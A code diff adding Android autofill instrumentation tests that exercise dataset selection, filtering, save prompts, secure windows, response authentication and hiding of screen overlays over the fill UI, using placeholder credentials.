+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setExtras(extras)
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Since this is a Presubmit test, wait for connection to avoid flakiness.
+        waitUntilConnected();
+
+        sReplier.getNextFillRequest();
+
+        // Add an overlay on top of the whole screen
+        final View[] overlay = new View[1];
+        try {
+            // Allow ourselves to add overlays
+            runShellCommand("appops set " + getContext().getPackageName()
+                    + " SYSTEM_ALERT_WINDOW allow");
+
+            // Make sure the fill UI is shown.
+            sUiBot.assertDatasets("The Dude");
+
+            final CountDownLatch latch = new CountDownLatch(1);
+
+            mActivity.runOnUiThread(() -> {
+                // This overlay is focusable, full-screen, which should block interaction
+                // with the fill UI unless the platform successfully hides overlays.
+                final WindowManager.LayoutParams params = new WindowManager.LayoutParams();
+                params.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+                params.flags = WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN;
+                params.width = ViewGroup.LayoutParams.MATCH_PARENT;
+                params.height = ViewGroup.LayoutParams.MATCH_PARENT;
+
+                final View view = new View(getContext()) {
+                    @Override
+                    protected void onAttachedToWindow() {
+                        super.onAttachedToWindow();
+                        latch.countDown();
+                    }
+                };
+                view.setBackgroundColor(Color.RED);
+                WindowManager windowManager = getContext().getSystemService(WindowManager.class);
+                windowManager.addView(view, params);
+                overlay[0] = view;
+            });
+
+            // Wait for the window being added.
+            assertThat(latch.await(5, TimeUnit.SECONDS)).isTrue();
+
+            // Auto-fill it.
+            sUiBot.selectDataset("The Dude");
+
+            // Check the results.
+            mActivity.assertAutoFilled();
+
+            // Try to login, it will fail.
+            final String loginMessage = mActivity.tapLogin();
+
+            assertWithMessage("Wrong login msg").that(loginMessage).isEqualTo(
+                    AUTHENTICATION_MESSAGE);
+
+            // Set right password...
+            mActivity.onPassword((v) -> v.setText("dude"));
+
+            // ... and try again
+            final String expectedMessage = getWelcomeMessage("dude");
+            final String actualMessage = mActivity.tapLogin();
+            assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+            // Assert the snack bar is shown and tap "Save".
+            sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+            final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+            // Assert value of expected fields - should not be sanitized.
+            final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+            assertTextAndValue(username, "dude");
+            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+            assertTextAndValue(password, "dude");
+
+            // Make sure extras were passed back on onSave()
+            assertThat(saveRequest.data).isNotNull();
+            final String extraValue = saveRequest.data.getString("numbers");
+            assertWithMessage("extras not passed on save").that(extraValue).isEqualTo("4815162342");
+
+            // Sanity check: once saved, the session should be finished.
+            assertNoDanglingSessions();
+        } finally {
+            // Make sure we can no longer add overlays
+            runShellCommand("appops set " + getContext().getPackageName()
+                    + " SYSTEM_ALERT_WINDOW ignore");
+            // Make sure the overlay is removed
+            mActivity.runOnUiThread(() -> {
+                WindowManager windowManager = getContext().getSystemService(WindowManager.class);
+                windowManager.removeView(overlay[0]);
+            });
+        }
+    }
+
+    @Test
+    public void testAutoFillMultipleDatasetsPickFirst() throws Exception {
+        multipleDatasetsTest(1);
+    }
+
+    @Test
+    public void testAutoFillMultipleDatasetsPickSecond() throws Exception {
+        multipleDatasetsTest(2);
+    }
+
+    @Test
+    public void testAutoFillMultipleDatasetsPickThird() throws Exception {
+        multipleDatasetsTest(3);
+    }
+
+    private void multipleDatasetsTest(int number) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "mr_plow")
+                        .setField(ID_PASSWORD, "D'OH!")
+                        .setPresentation(createPresentation("Mr Plow"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "el barto")
+                        .setField(ID_PASSWORD, "aycaramba!")
+                        .setPresentation(createPresentation("El Barto"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "mr sparkle")
+                        .setField(ID_PASSWORD, "Aw3someP0wer")
+                        .setPresentation(createPresentation("Mr Sparkle"))
+                        .build())
+                .build());
+        final String name;
+
+        switch (number) {
+            case 1:
+                name = "Mr Plow";
+                mActivity.expectAutoFill("mr_plow", "D'OH!");
+                break;
+            case 2:
+                name = "El Barto";
+                mActivity.expectAutoFill("el barto", "aycaramba!");
+                break;
+            case 3:
+                name = "Mr Sparkle";
+                mActivity.expectAutoFill("mr sparkle", "Aw3someP0wer");
+                break;
+            default:
+                throw new IllegalArgumentException("invalid dataset number: " + number);
+        }
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Make sure all datasets are shown.
+        final UiObject2 picker = sUiBot.assertDatasets("Mr Plow", "El Barto", "Mr Sparkle");
+
+        // Auto-fill it.
+        sUiBot.selectDataset(picker, name);
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    /**
+     * Tests the scenario where the service uses custom remote views for different fields (username
+     * and password).
+     */
+    @Test
+    public void testAutofillOneDatasetCustomPresentation() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude",
+                        createPresentation("The Dude"))
+                .setField(ID_PASSWORD, "sweet",
+                        createPresentation("Dude's password"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Check initial field.
+        sUiBot.assertDatasets("The Dude");
+
+        // Then move around...
+        mActivity.onPassword(View::requestFocus);
+        sUiBot.assertDatasets("Dude's password");
+        mActivity.onUsername(View::requestFocus);
+        sUiBot.assertDatasets("The Dude");
+
+        // Auto-fill it.
+        mActivity.onPassword(View::requestFocus);
+        sUiBot.selectDataset("Dude's password");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    /**
+     * Tests the scenario where the service uses custom remote views for different fields (username
+     * and password) and the dataset itself, and each dataset has the same number of fields.
+     */
+    @Test
+    public void testAutofillMultipleDatasetsCustomPresentations() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder(createPresentation("Dataset1"))
+                        .setField(ID_USERNAME, "user1") // no presentation
+                        .setField(ID_PASSWORD, "pass1", createPresentation("Pass1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "user2", createPresentation("User2"))
+                        .setField(ID_PASSWORD, "pass2") // no presentation
+                        .setPresentation(createPresentation("Dataset2"))
+                        .build())
+                .build());
+        mActivity.expectAutoFill("user1", "pass1");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Check initial field.
+        sUiBot.assertDatasets("Dataset1", "User2");
+
+        // Then move around...
+        mActivity.onPassword(View::requestFocus);
+        sUiBot.assertDatasets("Pass1", "Dataset2");
+        mActivity.onUsername(View::requestFocus);
+        sUiBot.assertDatasets("Dataset1", "User2");
+
+        // Auto-fill it.
+        mActivity.onPassword(View::requestFocus);
+        sUiBot.selectDataset("Pass1");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    /**
+     * Tests the scenario where the service uses custom remote views for different fields (username
+     * and password), and each dataset has the same number of fields.
+     */
+    @Test
+    public void testAutofillMultipleDatasetsCustomPresentationSameFields() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "user1", createPresentation("User1"))
+                        .setField(ID_PASSWORD, "pass1", createPresentation("Pass1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "user2", createPresentation("User2"))
+                        .setField(ID_PASSWORD, "pass2", createPresentation("Pass2"))
+                        .build())
+                .build());
+        mActivity.expectAutoFill("user1", "pass1");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Check initial field.
+        sUiBot.assertDatasets("User1", "User2");
+
+        // Then move around...
+        mActivity.onPassword(View::requestFocus);
+        sUiBot.assertDatasets("Pass1", "Pass2");
+        mActivity.onUsername(View::requestFocus);
+        sUiBot.assertDatasets("User1", "User2");
+
+        // Auto-fill it.
+        mActivity.onPassword(View::requestFocus);
+        sUiBot.selectDataset("Pass1");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    /**
+     * Tests the scenario where the service uses custom remote views for different fields (username
+     * and password), but each dataset has a different number of fields.
+     */
+    @Test
+    public void testAutofillMultipleDatasetsCustomPresentationFirstDatasetMissingSecondField()
+            throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "user1", createPresentation("User1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "user2", createPresentation("User2"))
+                        .setField(ID_PASSWORD, "pass2", createPresentation("Pass2"))
+                        .build())
+                .build());
+        mActivity.expectAutoFill("user2", "pass2");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Check initial field.
+        sUiBot.assertDatasets("User1", "User2");
+
+        // Then move around...
+        mActivity.onPassword(View::requestFocus);
+        sUiBot.assertDatasets("Pass2");
+        mActivity.onUsername(View::requestFocus);
+        sUiBot.assertDatasets("User1", "User2");
+
+        // Auto-fill it.
+        sUiBot.selectDataset("User2");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    /**
+     * Tests the scenario where the service uses custom remote views for different fields (username
+     * and password), but each dataset has a different number of fields.
+     */
+    @Test
+    public void testAutofillMultipleDatasetsCustomPresentationSecondDatasetMissingFirstField()
+            throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "user1", createPresentation("User1"))
+                        .setField(ID_PASSWORD, "pass1", createPresentation("Pass1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_PASSWORD, "pass2", createPresentation("Pass2"))
+                        .build())
+                .build());
+        mActivity.expectAutoFill("user1", "pass1");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Check initial field.
+        sUiBot.assertDatasets("User1");
+
+        // Then move around...
+        mActivity.onPassword(View::requestFocus);
+        sUiBot.assertDatasets("Pass1", "Pass2");
+        mActivity.onUsername(View::requestFocus);
+        sUiBot.assertDatasets("User1");
+
+        // Auto-fill it.
+        sUiBot.selectDataset("User1");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void filterText() throws Exception {
+        final String AA = "Two A's";
+        final String AB = "A and B";
+        final String B = "Only B";
+
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "aa")
+                        .setPresentation(createPresentation(AA))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ab")
+                        .setPresentation(createPresentation(AB))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "b")
+                        .setPresentation(createPresentation(B))
+                        .build())
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        sUiBot.assertDatasets(AA, AB, B);
+
+        // Only two datasets start with 'a'
+        runShellCommand("input keyevent KEYCODE_A");
+        sUiBot.assertDatasets(AA, AB);
+
+        // Only one dataset start with 'aa'
+        runShellCommand("input keyevent KEYCODE_A");
+        sUiBot.assertDatasets(AA);
+
+        // Only two datasets start with 'a'
+        runShellCommand("input keyevent KEYCODE_DEL");
+        sUiBot.assertDatasets(AA, AB);
+
+        // With no filter text all datasets should be shown
+        runShellCommand("input keyevent KEYCODE_DEL");
+        sUiBot.assertDatasets(AA, AB, B);
+
+        // No dataset start with 'aaa'
+        runShellCommand("input keyevent KEYCODE_A");
+        runShellCommand("input keyevent KEYCODE_A");
+        runShellCommand("input keyevent KEYCODE_A");
+        sUiBot.assertNoDatasets();
+    }
+
+    @Test
+    public void filterTextNullValuesAlwaysMatched() throws Exception {
+        final String AA = "Two A's";
+        final String AB = "A and B";
+        final String B = "Only B";
+
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "aa")
+                        .setPresentation(createPresentation(AA))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ab")
+                        .setPresentation(createPresentation(AB))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, (String) null)
+                        .setPresentation(createPresentation(B))
+                        .build())
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        sUiBot.assertDatasets(AA, AB, B);
+
+        // Two datasets start with 'a' and one with null value always shown
+        runShellCommand("input keyevent KEYCODE_A");
+        sUiBot.assertDatasets(AA, AB, B);
+
+        // One dataset start with 'aa' and one with null value always shown
+        runShellCommand("input keyevent KEYCODE_A");
+        sUiBot.assertDatasets(AA, B);
+
+        // Two datasets start with 'a' and one with null value always shown
+        runShellCommand("input keyevent KEYCODE_DEL");
+        sUiBot.assertDatasets(AA, AB, B);
+
+        // With no filter text all datasets should be shown
+        runShellCommand("input keyevent KEYCODE_DEL");
+        sUiBot.assertDatasets(AA, AB, B);
+
+        // No dataset start with 'aaa' and one with null value always shown
+        runShellCommand("input keyevent KEYCODE_A");
+        runShellCommand("input keyevent KEYCODE_A");
+        runShellCommand("input keyevent KEYCODE_A");
+        sUiBot.assertDatasets(B);
+    }
+
+    @Test
+    public void filterTextDifferentPrefixes() throws Exception {
+        final String A = "aaa";
+        final String B = "bra";
+        final String C = "cadabra";
+
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, A)
+                        .setPresentation(createPresentation(A))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, B)
+                        .setPresentation(createPresentation(B))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, C)
+                        .setPresentation(createPresentation(C))
+                        .build())
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        sUiBot.assertDatasets(A, B, C);
+
+        mActivity.onUsername((v) -> v.setText("a"));
+        sUiBot.assertDatasets(A);
+
+        mActivity.onUsername((v) -> v.setText("b"));
+        sUiBot.assertDatasets(B);
+
+        mActivity.onUsername((v) -> v.setText("c"));
+        sUiBot.assertDatasets(C);
+    }
+
+    @Test
+    public void testSaveOnly() throws Exception {
+        saveOnlyTest(false);
+    }
+
+    @Test
+    public void testSaveOnlyTriggeredManually() throws Exception {
+        saveOnlyTest(false);
+    }
+
+    private void saveOnlyTest(boolean manually) throws Exception {
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Trigger auto-fill.
+        if (manually) {
+            mActivity.forceAutofillOnUsername();
+        } else {
+            mActivity.onUsername(View::requestFocus);
+        }
+
+        // Sanity check.
+        sUiBot.assertNoDatasets();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started
+        sReplier.getNextFillRequest();
+
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        sReplier.assertNumberUnhandledSaveRequests(0);
+
+        // Assert value of expected fields - should not be sanitized.
+        try {
+            final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+            assertTextAndValue(username, "malkovich");
+            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+            assertTextAndValue(password, "malkovich");
+        } catch (AssertionError | RuntimeException e) {
+            dumpStructure("saveOnlyTest() failed", saveRequest.structure);
+            throw e;
+        }
+
+        // Sanity check: once saved, the session should be finsihed.
+        assertNoDanglingSessions();
+    }
+
+    enum DismissType {
+        BACK_BUTTON,
+        HOME_BUTTON,
+        TOUCH_OUTSIDE
+    }
+
+    @Test
+    public void testSaveGoesAwayWhenTappingHomeButton() throws Exception {
+        saveGoesAway(DismissType.HOME_BUTTON);
+    }
+
+    /* TODO: add these when fixed.
+    @Test
+    public void testSaveGoesAwayWhenTappingBackButton() throws Exception {
+        saveGoesAway(DismissType.BACK_BUTTON);
+    }
+
+    @Test
+    public void testSaveGoesAwayWhenTouchingOutside() throws Exception {
+        saveGoesAway(DismissType.TOUCH_OUTSIDE);
+    }
+    */
+
+    private void saveGoesAway(DismissType dismissType) throws Exception {
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Sanity check.
+        sUiBot.assertNoDatasets();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started
+        sReplier.getNextFillRequest();
+
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        sUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Then make sure it goes away when user doesn't want it..
+        switch (dismissType) {
+            case BACK_BUTTON:
+                sUiBot.pressBack();
+                break;
+            case HOME_BUTTON:
+                sUiBot.pressHome();
+                break;
+            case TOUCH_OUTSIDE:
+                sUiBot.assertShownByText(expectedMessage).click();
+                break;
+            default:
+                throw new IllegalArgumentException("invalid dismiss type: " + dismissType);
+        }
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Test
+    public void testSaveOnlyPreFilled() throws Exception {
+        saveOnlyTestPreFilled(false);
+    }
+
+    @Test
+    public void testSaveOnlyTriggeredManuallyPreFilled() throws Exception {
+        saveOnlyTestPreFilled(true);
+    }
+
+    private void saveOnlyTestPreFilled(boolean manually) throws Exception {
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Set activity
+        mActivity.onUsername((v) -> v.setText("user_before"));
+        mActivity.onPassword((v) -> v.setText("pass_before"));
+
+        // Trigger auto-fill.
+        if (manually) {
+            mActivity.forceAutofillOnUsername();
+        } else {
+            mActivity.onUsername(View::requestFocus);
+        }
+
+        // Sanity check.
+        sUiBot.assertNoDatasets();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started
+        sReplier.getNextFillRequest();
+
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("user_after"));
+        mActivity.onPassword((v) -> v.setText("pass_after"));
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("user_after");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        sReplier.assertNumberUnhandledSaveRequests(0);
+
+        // Assert value of expected fields - should not be sanitized.
+        try {
+            final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+            assertTextAndValue(username, "user_after");
+            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+            assertTextAndValue(password, "pass_after");
+        } catch (AssertionError | RuntimeException e) {
+            dumpStructure("saveOnlyTest() failed", saveRequest.structure);
+            throw e;
+        }
+
+        // Sanity check: once saved, the session should be finsihed.
+        assertNoDanglingSessions();
+    }
+
+    @Test
+    public void testSaveOnlyTwoRequiredFieldsOnePrefilled() throws Exception {
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Set activity
+        mActivity.onUsername((v) -> v.setText("I_AM_USER"));
+
+        // Trigger auto-fill.
+        mActivity.onPassword(View::requestFocus);
+
+        // Wait for onFill() before changing value, otherwise the fields might be changed before
+        // the session started
+        sReplier.getNextFillRequest();
+        sUiBot.assertNoDatasets();
+
+        // Set credentials...
+        mActivity.onPassword((v) -> v.setText("thou should pass")); // contains pass
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("I_AM_USER"); // contains pass
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        sReplier.assertNumberUnhandledSaveRequests(0);
+
+        // Assert value of expected fields - should not be sanitized.
+        try {
+            final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+            assertTextAndValue(username, "I_AM_USER");
+            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+            assertTextAndValue(password, "thou should pass");
+        } catch (AssertionError | RuntimeException e) {
+            dumpStructure("saveOnlyTest() failed", saveRequest.structure);
+            throw e;
+        }
+
+        // Sanity check: once saved, the session should be finsihed.
+        assertNoDanglingSessions();
+    }
+
+    @Test
+    public void testSaveOnlyOptionalField() throws Exception {
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME)
+                .setOptionalSavableIds(ID_PASSWORD)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Sanity check.
+        sUiBot.assertNoDatasets();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started
+        sReplier.getNextFillRequest();
+
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword(View::requestFocus);
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        // Assert value of expected fields - should not be sanitized.
+        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+        assertTextAndValue(username, "malkovich");
+        final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+        assertTextAndValue(password, "malkovich");
+
+        // Sanity check: once saved, the session should be finsihed.
+        assertNoDanglingSessions();
+    }
+
+    @Test
+    public void testGenericSave() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Test
+    public void testCustomizedSavePassword() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Test
+    public void testCustomizedSaveAddress() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_ADDRESS);
+    }
+
+    @Test
+    public void testCustomizedSaveCreditCard() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_CREDIT_CARD);
+    }
+
+    @Test
+    public void testCustomizedSaveUsername() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_USERNAME);
+    }
+
+    @Test
+    public void testCustomizedSaveEmailAddress() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_EMAIL_ADDRESS);
+    }
+
+    private void customizedSaveTest(int type) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final String saveDescription = "Your data will be saved with love and care...";
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(type, ID_USERNAME, ID_PASSWORD)
+                .setSaveDescription(saveDescription)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Sanity check.
+        sUiBot.assertNoDatasets();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started.
+        sReplier.getNextFillRequest();
+
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        final UiObject2 saveSnackBar = sUiBot.assertSaveShowing(saveDescription, type);
+        sUiBot.saveForAutofill(saveSnackBar, true);
+
+        // Assert save was called.
+        sReplier.getNextSaveRequest();
+    }
+
+    @Test
+    public void testAutoFillOneDatasetAndSaveWhenFlagSecure() throws Exception {
+        mActivity.setFlags(FLAG_SECURE);
+        testAutoFillOneDatasetAndSave();
+    }
+
+    @Test
+    public void testAutoFillOneDatasetWhenFlagSecure() throws Exception {
+        mActivity.setFlags(FLAG_SECURE);
+        testAutoFillOneDataset();
+    }
+
+    @Test
+    public void testFillResponseAuthBothFields() throws Exception {
+        fillResponseAuthBothFields(false);
+    }
+
+    @Test
+    public void testFillResponseAuthBothFieldsUserCancelsFirstAttempt() throws Exception {
+        fillResponseAuthBothFields(true);
+    }
+
+    private void fillResponseAuthBothFields(boolean cancelFirstAttempt) throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final Bundle clientState = new Bundle();
+        clientState.putString("numbers", "4815162342");
+        final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+                new CannedFillResponse.Builder().addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_USERNAME, "dude")
+                                .setField(ID_PASSWORD, "sweet")
+                                .setId("name")
+                                .setPresentation(createPresentation("Dataset"))
+                                .build())
+                        .setExtras(clientState).build());
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+                .setPresentation(createPresentation("Tap to auth response"))
+                .setExtras(clientState)
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+        callback.assertUiShownEvent(username);
+        sUiBot.assertDatasets("Tap to auth response");
+
+        // Make sure UI is show on 2nd field as well
+        final View password = mActivity.getPassword();
+        mActivity.onPassword(View::requestFocus);
+        callback.assertUiHiddenEvent(username);
+        callback.assertUiShownEvent(password);
+        sUiBot.assertDatasets("Tap to auth response");
+
+        // Now tap on 1st field to show it again...
+        mActivity.onUsername(View::requestFocus);
+        callback.assertUiHiddenEvent(password);
+        callback.assertUiShownEvent(username);
+
+        if (cancelFirstAttempt) {
+            // Trigger the auth dialog, but emulate cancel.
+            AuthenticationActivity.setResultCode(RESULT_CANCELED);
+            sUiBot.selectDataset("Tap to auth response");
+            callback.assertUiHiddenEvent(username);
+            callback.assertUiShownEvent(username);
+            sUiBot.assertDatasets("Tap to auth response");
+
+            // Make sure it's still shown on other fields...
+            mActivity.onPassword(View::requestFocus);
+            callback.assertUiHiddenEvent(username);
+            callback.assertUiShownEvent(password);
+            sUiBot.assertDatasets("Tap to auth response");
+
+            // Tap on 1st field to show it again...
+            mActivity.onUsername(View::requestFocus);
+            callback.assertUiHiddenEvent(password);
+            callback.assertUiShownEvent(username);
+        }
+
+        // ...and select it this time
+        AuthenticationActivity.setResultCode(RESULT_OK);
